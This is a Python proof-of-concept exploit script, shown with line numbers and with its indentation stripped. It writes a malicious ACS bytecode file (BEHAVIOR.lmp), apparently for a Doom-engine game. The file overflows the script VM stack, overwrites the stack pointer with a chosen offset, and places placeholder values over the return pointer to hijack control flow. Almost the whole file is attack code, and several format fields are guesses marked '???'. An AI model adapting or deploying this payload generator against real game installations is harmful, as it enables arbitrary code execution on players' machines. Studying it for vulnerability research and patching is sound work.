1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
#!/usr/bin/env python
# Copyright (c) 2017 Jakob L. Kreuze
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import sys
# ACS File Format:
# CHUNK [4 bytes]
# SIZE (Excluding CHUNK and SIZE) [4 bytes]
# CONTENTS [SIZE bytes]
STACK_SIZE = 0x1000
CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
SCRIPTTAB_HEADER = [0x53, 0x50, 0x54, 0x52]
FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]
PCD_NOP = 0
PCD_TERMINATE = 1
PCD_PUSHNUMBER = 3
PCD_PUSHBYTE = 167
# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the
# stack is not necessary.
# Scripts must be aligned to 32 bits.
def align_script(code: list) -> list:
padding_len = len(code) + (4 - (len(code) % 4))
return code + [PCD_NOP * padding_len]
if __name__ == "__main__":
if len(sys.argv) != 2:
sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0]))
sys.exit(1)
desired_offset = int(sys.argv[1])
dest = "BEHAVIOR.lmp"
# Smash stackobj.sp
payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2)
# Overwrite stackobj.sp
payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))
# Smash the return pointer
least_sig = list(struct.pack("Q", 0xcafebabe))[:4]
most_sig = list(struct.pack("Q", 0xdeadbeef))[4:]
payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig
payload.append(PCD_TERMINATE)
payload = align_script(payload)
payload_len = len(payload) + 4
footer_table_off = payload_len + 32 # ??
with open(dest, "wb+") as out:
# Write the code section.
out.write(bytes(CODE_HEADER))
out.write(struct.pack("I", footer_table_off))
out.write(bytes(payload))
out.write(bytes([0x01, 0x00, 0x00, 0x00])) # Extra termination?
# Write the Script Pointer Table
out.write(bytes(SCRIPTTAB_HEADER))
# out.write(struct.pack("I", len(script_pointer_table)))
out.write(bytes([0x08, 0x00, 0x00, 0x00])) # ???
out.write(bytes([0x01, 0x00])) # Script number
out.write(bytes([0x04, 0x00])) # ENTER
out.write(bytes([0x08, 0x00, 0x00, 0x00])) # Start offset
out.write(struct.pack("I", 0x08 + payload_len)) # End offset
# Write footer table
out.write(bytes(FOOTTAB_HEADER))
out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
out.write(struct.pack("I", footer_table_off - 28)) # Offset to SPTR - 8?
out.write(bytes([0x00, 0x00, 0x00, 0x00])) # ???
# print("Enjoy :3")
|
